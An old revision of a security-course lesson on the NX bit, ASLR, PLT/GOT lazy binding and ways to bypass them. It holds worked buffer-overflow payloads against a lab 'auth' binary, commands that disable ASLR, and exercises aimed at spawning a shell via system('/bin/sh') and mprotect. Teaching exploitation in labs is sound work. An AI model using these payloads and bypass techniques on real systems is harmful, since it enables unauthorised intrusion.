This is an old revision of the document!
The previous sessions (0x06. Shellcodes 1 and 0x07. Shellcodes 2 (advanced)) presented an exploitation scenario that is based on the assumption that machine instructions can be executed from any memory segment belonging to the process. As you can recall from 0x02. Executable File Formats, different sections of an ELF binary are grouped into segments which are loaded into memory when the binary is being executed. This mechanism (and some hardware support) enables 2 important protection mechanisms that will be presented in this session: executable space protection, and address space layout randomization. Besides presenting the 2 mechanisms, we are also going to take a quick look at how can we bypass them. Since these protections are ubiquitous at this time, you will have to work around them almost every time you build a binary exploit.
-m32
flag for gcc
. The binaries in the tasks archive are already compiled as such.
The executable space protection is an instance of the principle of least privilege, which is applied in many security sensitive domains. In this case, the executable space protection is used to limit the types of memory access that a process is allowed to make during execution. A memory region (i.e., page) can have the following protection levels: READ, WRITE, and EXECUTE. The executable space protection mandates that writable regions should not be executable at the same time.
The mechanism can be (and was) implemented in many different ways, the most common in Linux being:
NX bit: This is the easiest method, and involves an extra bit added to each page table entry that specifies if the memory page should be executable or not. This is current implementation in 64-bit processors where page table entries are 8-bytes wide.
Physical Address Extension (PAE): Besides the main feature that allows access to more than 4GB of memory, the PAE extension for 32-bit processor also adds a NX bit in its page table entries.
Emulation: The NX bit can be emulated on older (i.e., non-PAE) 32-bit processors by overloading the Supervisor bit (PaX PAGEEXEC), or by using the segmentation mechanism and splitting the address space in half (PaX SEGMEXEC).
There are of course other implementations in different hardening-oriented projects such as: OpenBSD W^X, Red Hat Exec Shield, PaX (which is now part of grsecurity), Windows Data Execution Prevention (DEP).
The Linux kernel provides support for managing memory protections in the mmap()
and mprotect()
syscalls. These syscalls are used by the loader to set protection levels for each segment it loads when running a binary. Of course, the same functions can also be used during execution.
mprotect()
and mmap()
to avoid resetting the permissions during execution. See MPROTECT. Note that grsecurity/PaX are patches to the kernel, and are not available in normal distributions. You have to compile your own kernel if you want to try them out.
Let's start by deactivating ASLR, which is going to be discussed in the following section of this tutorial, and only focus on the NX protection. We can do this in two ways, as told below:
To disable ASLR system-wide we use (root access is required):
~$ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
To create a shell with ASLR disabled (ASLR will also be disabled for future processes spawned from that shell), we use (root access is not required):
~$ setarch $(uname -m) -R /bin/bash
Let's first compile an extremely simple C application:
int main() { while (1); }
~$ CFLAGS='-m32 -O0' make hello
As presented in 0x03. Static Analysis, the ELF format contains flags for each segment that specify what permissions should be granted. You can use readelf -l hello
to dump all program headers for this binary.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 [Requesting program interpreter: /lib/ld-linux.so.2] LOAD 0x000000 0x08048000 0x08048000 0x00568 0x00568 R E 0x1000 LOAD 0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW 0x1000 DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4 NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 GNU_EH_FRAME 0x000490 0x08048490 0x08048490 0x0002c 0x0002c R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .init_array .fini_array .jcr .dynamic .got
Check the Flg
column. For example, the first LOAD
segment contains .text
and is marked R E
, while the GNU_STACK
segment is marked RW
.
Next we are interested in seeing calls to mmap2()
and mprotect()
made by the loader. We are going to use the strace
tool for this, and directly execute the loader. You can check the path to the loader on your system using ldd hello
.
~$ strace -e mmap2,mprotect /lib/ld-linux.so.2 ./hello
[ Process PID=11198 runs in 32 bit mode. ] mmap2(0x8048000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x8048000 mmap2(0x8049000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x8049000 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7ffc000 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7ffa000 mmap2(NULL, 156324, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff7fd3000 mmap2(NULL, 1763964, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xfffffffff7e24000 mmap2(0xf7fcd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a9000) = 0xfffffffff7fcd000 mmap2(0xf7fd0000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd0000 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7e23000 mprotect(0xf7fcd000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0x56575000, 4096, PROT_READ) = 0
We can observe a PROT_READ|PROT_EXEC
mapping at address 0x8048000, followed by a PROT_READ|PROT_WRITE
at address 0x8049000 that is later changed to PROT_READ
for the first half (4096 bytes). The later allocation is the data segment, that should be writable. We can also see a bunch of allocations for segments belonging to dynamic libraries.
mmap
. Also, the heap will be extended on-demand as the application requires it.
We can dump all memory mappings of the still running process as follows:
~$ ps u | grep /lib/ld-linux.so.2 ... ~$ cat /proc/11198/maps
strace
process.
~$ cat /proc/11198/maps
08048000-08049000 r-xp 00000000 00:22 5769082 /home/vladum/sss/session10/hello 08049000-0804a000 r--p 00000000 00:22 5769082 /home/vladum/sss/session10/hello 0804a000-0804b000 rw-p 00001000 00:22 5769082 /home/vladum/sss/session10/hello 56555000-56575000 r-xp 00000000 08:05 827365 /lib/i386-linux-gnu/ld-2.19.so 56575000-56576000 r--p 0001f000 08:05 827365 /lib/i386-linux-gnu/ld-2.19.so 56576000-56577000 rw-p 00020000 08:05 827365 /lib/i386-linux-gnu/ld-2.19.so f7e23000-f7e24000 rw-p 00000000 00:00 0 f7e24000-f7fcd000 r-xp 00000000 08:05 823395 /lib/i386-linux-gnu/libc-2.19.so f7fcd000-f7fcf000 r--p 001a9000 08:05 823395 /lib/i386-linux-gnu/libc-2.19.so f7fcf000-f7fd0000 rw-p 001ab000 08:05 823395 /lib/i386-linux-gnu/libc-2.19.so f7fd0000-f7fd3000 rw-p 00000000 00:00 0 f7ffa000-f7ffd000 rw-p 00000000 00:00 0 f7ffd000-f7ffe000 r-xp 00000000 00:00 0 [vdso] fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
ret-to-plt/libc. You can return to the .plt
section and call library function already linked. You can also call other library functions based on their known offsets. The latter approach assumes no ASLR (see next section), or the possibility of an information leak.
mprotect(). If the application is using mprotect()
you can easily call it to modify the permissions and include PROT_EXEC
for the stack. You can also call this in a ret-to-libc
attack. You can also mmap
a completely new memory region and dump the shellcode there.
Return Oriented Programming (ROP). This is a generalization of the ret-to-* approach that makes use of existing code to execute almost anything. As this is probably one of the most common types of attacks, it will be discussed in depth in a future section.
Address Space Layout Randomization (ASLR) is a security feature that maps different memory regions of an executable at random addresses. This prevents buffer overflow-based attacks that rely on known addresses such as the stack (for calling into shellcode), or dynamically linked libraries (for calling functions that were not already linked with the target binary). Usually, the sections that are randomly mapped are: the stack, the heap, the VDSO page, and the dynamic libraries. The code section can also be randomly mapped for PIE binaries.
/proc/sys/kernel/randomize_va_space
file. Writing 0, 1, or 2 to this will results in the following behaviors:Make sure you reactivate ASLR after the previous section of the tutorial, by one of the two options below.
If you disabled ASLR system-wide, re-enable it using (root access is required):
~$ sudo bash -c 'echo 2 > /proc/sys/kernel/randomize_va_space'
If you disabled ASLR at shell level, simply close the shell such as issuing the Ctrl+d
keyboard shortcut.
We can easily demonstrate the effects on shared libraries by running ldd
multiple times in a row on a binary such as /bin/ls
.
ASLR is not the only feature that prevents the compiler and the linker from solving some relocations before the binary is actually running. Shared libraries can also be combined in different ways, so the first time you actually know the address of a shared library is while the loader is running. The ASLR feature is orthogonal to this - the loader could choose to assign address to libraries in a round-robin fashion, or could use ASLR to assign them randomly.
Of course, we might be inclined to have the loader simply fix all relocations in the code section after it loaded the libraries, but this breaks the memory access protection of the .text
section, which should only be readable and executable.
To solve this problems we need another level of indirection: all memory accessed to symbols located in shared libraries will read the actual address from a table, called Global Offset Table (.got
), at runtime. The loader will populate this table. Note that this can work both for data accesses, as well as for function calls, however function calls are actually using a small stub (i.e., a few instructions) stored in the Procedure Linkage Table (.plt
).
The PLT is responsible of finding the shared library function address when it is first called (lazy binding), and writing it to a GOT entry. Note that the function pointers are stored in .got.plt
). The following calls use the pre-resolved address.
Let's take a quick look at the code generated for a shared library call. You can use any binary you like, we'll just show an example from one that simply calls puts()
.
~$ objdump -D -j .text -M intel hello | grep puts
80483e4: e8 07 ff ff ff call 80482f0 <puts@plt>
We can see that the .plt
section will start at address 0x080482e0
, right where the previous call will jump:
~$ readelf --sections hello
... [12] .plt PROGBITS 080482e0 0002e0 000040 04 AX 0 0 16 ...
Let's see how the code there looks like:
~$ objdump -D -j .plt -M intel hello | grep -A 3 '<puts@plt>'
080482f0 <puts@plt>: 80482f0: ff 25 00 a0 04 08 jmp DWORD PTR ds:0x804a000 80482f6: 68 00 00 00 00 push 0x0 80482fb: e9 e0 ff ff ff jmp 80482e0 <_init+0x30>
We see it jumping to a pointer stored at 0x804a000
in the data section. Let's check the binary relocations for that location:
~$ readelf --relocs hello
... Relocation section '.rel.plt' at offset 0x298 contains 3 entries: Offset Info Type Sym.Value Sym. Name 0804a000 00000107 R_386_JUMP_SLOT 00000000 puts ...
Ok, good, but what is actually stored at this address initially?
~$ objdump -s -M intel -j .got.plt --start-address=0x0804a000 hello
hello: file format elf32-i386 Contents of section .got.plt: 804a000 f6820408 06830408 16830408 ............
We recognize f6820408
(0x80482f6
) as being the next instruction in the puts@plt
stub that we disassembled above. Which then pushes 0 in the stack and calls 0x80482e0
. This is the call to the one-time resolver, and it looks like this:
~$ objdump -D -j .plt -M intel hello | grep -A 3 '080482e0'
080482e0 <puts@plt-0x10>: 80482e0: ff 35 f8 9f 04 08 push DWORD PTR ds:0x8049ff8 80482e6: ff 25 fc 9f 04 08 jmp DWORD PTR ds:0x8049ffc 80482ec: 00 00 add BYTE PTR [eax],al
0x8049ffc
, and what happens when this jumps there.
What's going on here? What's actually happening is lazy binding — by convention when the dynamic linker loads a library, it will put an identifier and resolution function into known places in the GOT. Therefore, what happens is roughly this: on the first call of a function, it falls through to call the default stub, it simply jumps to the next instruction. The identifier is pushed on the stack, the dynamic linker is called, which at that point has enough information to figure out “hey, this program is trying to find the function foo”. It will go ahead and find it, and then patch the address into the GOT such that the next time the original PLT entry is called, it will load the actual address of the function, rather than the lookup stub. Ingenious!
Bruteforce. If you are able to inject payloads multiple times without crashing the application, you can bruteforce the address you are interested in (e.g., a target in libc). Otherwise, you can just run the exploit multiple times.
NOP sled. In the case of shellcodes, a longer NOP sled will maximize the chances of jumping inside it and eventually reaching the exploit code even if the stack address is randomized. This is not very useful when we are interested in jumping to libc
or other functions, which is usually the case if the executable space protection is also active.
jmp esp. This will basically jump into the stack, no matter where it is mapped. It's actually a very rudimentary form of Return Oriented Programming which is going to be discussed in a following session.
Restrict entropy. There are various ways of reducing the entropy of the randomized address. For example, you can decrease the initial stack size by setting a huge amount of dummy environment variables.
Information leak. The most effective way of bypassing ASLR is by using an information leak vulnerability that exposes randomized address, or at least parts of them. You can also dump parts of libraries (e.g., libc
) if you are able to create an exploit that reads them. This is useful in remote attacks to infer the version of the library, downloading it from the web, and thus knowing the right offsets for other functions (not originally linked with the binary).
We are going to use ltrace
to catch library function invocations.
python -c 'print "MY_L33T_ATTACK_STR1NG"' | ltrace -i ./vulnbinary 2>&1
If you are more comfortable with another tool feel free to use it. Keep in mind that sometimes addresses change when you are using GDB
.
Go to the 01-tutorial-ret-to-libc/
folder in the activities archive.
In the previous sessions we used stack overflow vulnerabilities to inject new code into a running process (on its stack) and redirect execution to it. This attack is easily defeated by making the stack, together with any other memory page that can be modified, non-executable. This is achieved by setting the NX bit in the page table.
We will try to bypass this protection for the 01-tutorial-ret-to-libc/src/auth
binary in the lab archive. Build the auth program or use the already compiled one. For now, disable ASLR in the a new shell:
setarch $(uname -m) -R /bin/bash
Let's take a look at the program headers and confirm that the stack is no longer executable. We only have read and write (RW) permissions for the stack area.
libssl1.0.0:i386
Debian package to work. Recompiling it requires libssl-dev:i386
, which might remove gcc
. So make sure you also install gcc
afterwards.
$ checksec 1-random [...] NX: NX enabled [...]
For completeness, lets check that there is indeed a buffer (stack) overflow vulnerability.
$ python -c 'print "A" * 1357' | ltrace -i ./auth [0x80484f1] __libc_start_main(0x80486af, 1, 0xbffff454, 0x80486c0, 0x8048730 <unfinished ...> [0x8048601] malloc(20) = 0x0804b008 [0x80485df] puts("Enter password: "Enter password: ) = 17 [0x80485ea] gets(c, 0x8048601, 0x80486af, 0xb7cdecb0, 0xb7cdecb7) = 0xbfffee63 [0x8048652] memset(0x0804b008, '\000', 20) = 0x0804b008 [0x8048671] SHA1(0xbfffee63, 137, 0x804b008, 4, 0x41000001) = 0x804b008 [0x41414141] --- SIGSEGV (Segmentation fault) --- [0xffffffff] +++ killed by SIGSEGV +++
Check the source file - the buffer length is 1337
bytes. There should be a base pointer and the main()
's return address just before it on the stack. There is also some alignment involved, but we can easily try a few lengths to get the right position of the return address. Seems to be 1337 + 16
followed by the return address for this case. You can, of course, determine the distance between the buffer's start address and the frame's return address exactly using objdump
, but we will leave that as an exercise.
We can now jump anywhere. Unfortunately, we cannot put a shellcode in the buffer and jump into it because the stack is non-executable now. Lets try it with a few NOPs. Our buffer's address is 0xbfffee63
(see the gets()
call).
$ python -c 'print "\x90\x90\x90\x90" + "A" * 1349 + "\x63\xee\xff\xbf"' | ltrace -i ./auth [0x80484f1] __libc_start_main(0x80486af, 1, 0xbffff454, 0x80486c0, 0x8048730 <unfinished ...> [0x8048601] malloc(20) = 0x0804b008 [0x80485df] puts("Enter password: "Enter password: ) = 17 [0x80485ea] gets(0xbfffee63, 0x8048601, 0x80486af, 0xb7cdecb0, 0xb7cdecb7) = 0xbfffee63 [0x8048652] memset(0x0804b008, '\000', 20) = 0x0804b008 [0x8048671] SHA1(0xbfffee63, 137, 0x804b008, 4, 0x90000001) = 0x804b008 [0xbfffee63] --- SIGSEGV (Segmentation fault) --- [0xffffffff] +++ killed by SIGSEGV +++
Oh, such a bummer! It didn't work. How about we try to jump to some existing code?
$ objdump -d auth | grep -A 15 "<check_password>:" 080485ec <check_password>: 80485ec: 55 push %ebp 80485ed: 89 e5 mov %esp,%ebp 80485ef: 81 ec 58 05 00 00 sub $0x558,%esp 80485f5: c7 04 24 14 00 00 00 movl $0x14,(%esp) 80485fc: e8 9f fe ff ff call 80484a0 <malloc@plt> 8048601: a3 38 a0 04 08 mov %eax,0x804a038 8048606: a1 38 a0 04 08 mov 0x804a038,%eax 804860b: 85 c0 test %eax,%eax 804860d: 75 18 jne 8048627 <check_password+0x3b> 804860f: c7 04 24 76 87 04 08 movl $0x8048776,(%esp) 8048616: e8 95 fe ff ff call 80484b0 <puts@plt> 804861b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048622: e8 99 fe ff ff call 80484c0 <exit@plt> 8048627: 8d 85 bb fa ff ff lea -0x545(%ebp),%eax 804862d: 89 04 24 mov %eax,(%esp)
Lets try 0x804860f
such that we print the malloc
failure message.
$ python -c 'print "A" * 1353 + "\x0f\x86\x04\x08"' | ltrace -i -e puts ./auth [0x80485df] puts("Enter password: "Enter password: ) = 17 [0x804861b] puts("malloc failed"malloc failed ) = 14 [0xffffffff] +++ exited (status 1) +++
Looks good! Let's get serious and do something useful with this.
Continue working in the 01-tutorial-ret-to-libc/
folder in the activities archive.
The final goal of this task is to bypass the NX stack protection and call system(“/bin/sh”)
. We will start with a simple ret-to-plt:
libc
functions linked with the auth
binary.puts()
. Use ltrace
to show that the call is actually being made.“malloc failed”
static string in the binary.“failed”
the second time puts
is called.SEGFAULT
after printing “Enter password:”
again. Make it exit cleanly (the exit code does not matter, just no SIGSEGV
). You can move on to the next task without solving this problem.libc
functions are in the memory, you just need to find their addresses. Find the offset of system()
in libc
. Find the offset of the “/bin/sh”
string in libc
.libc
linked in the auth
binary? Compute the final addresses and call system(“/bin/sh”)
just like you did with puts
.LD_TRACE_LOADED_OBJECTS=1 ./auth
instead of ldd
. The latter is not always reliable because the order in which it loads the libraries might be different than when you actually run the binary.
stdin
will get closed and the new shell will have nothing to read. Use cat to concatenate your attack string with stdin
like this: cat <(python -c 'print “L33T_ATTACK”') - | ./vulnbinary
.
Go to the 02-challenge-no-ret-control/
folder in the activities archive.
Imagine this scenario: we have an executable where we can change at least 4B of random memory, but ASLR is turned on. We cannot reliably change the value of the return address because of this. Sometimes ret is not even called at the end of a function.
Alter the execution of force_exit
, in order to call the secret function.
Go to the 03-challenge-ret-to-plt/
folder in the activities archive.
random
is a small application that generates a random number. Build an exploit that makes the application print an actual random number, followed by a constant one, meaning that the second number should be the same in consecutive runs.Example output:
hari@solyaris-home:~$ python -c 'print <payload here>' | ./random Hi! Options: 1. Get random number 2. Go outside Here's a random number: 2070249950. Have fun with it! Hi! Options: 1. Get random number 2. Go outside Here's a random number: 1023098942. Have fun with it! Segmentation fault (core dumped) hari@solyaris-home:~$ python -c 'print <payload here>' | ./random Hi! Options: 1. Get random number 2. Go outside Here's a random number: 1152946153. Have fun with it! Hi! Options: 1. Get random number 2. Go outside Here's a random number: 1023098942. Have fun with it!
You can use this Python skeleton for buffer overflow input:
#!/usr/bin/python import struct, sys def dw(i): return struct.pack("<I", i) #TODO update count for your prog pad_count_to_ret = 100 payload = "X" * pad_count_to_ret #TODO figure out where to return ret_addr = 0xdeadbeef payload += dw(ret_addr) #TODO add stuff after the payload if you need to payload += "" sys.stdout.write(payload)
Go to the 04-challenge-colors/
folder in the activities archive.
cat <(python -c 'print "L33T_ATTACK"') - | ./vulnbinary
Exploit the colors
binary and call system()
. Disregard the string parameter of system()
for now.
ASLR still disabled. Call system("blue")
. Get a shell with this. Hint: Where will it search for the “blue” command?
Again, ASLR disabled. Call system("/bin/sh")
without using the previous trick.
Continue working in the 04-challenge-colors/
folder in the activities archive.
Try the previous exploit with ASLR enabled. You can rerun the binary multiple times.
LD_TRACE_LOADED_OBJECTS=whatever ./colors
multiple times. How many bits do change? Run the program multiple times with some fixed addresses for system
and /bin/bash
in the payload.
Go to either the 03-challenge-ret-to-plt/
or 04-challenge-colors/
folder in the activities archive.
Using any of the 2 binaries, try to call mprotect()
in order to change the protection flags of the stack, then inject a shellcode similar to the ones in the previous session.
ulimit -s
unlimited trick will make the stack get mapped at a fixed address.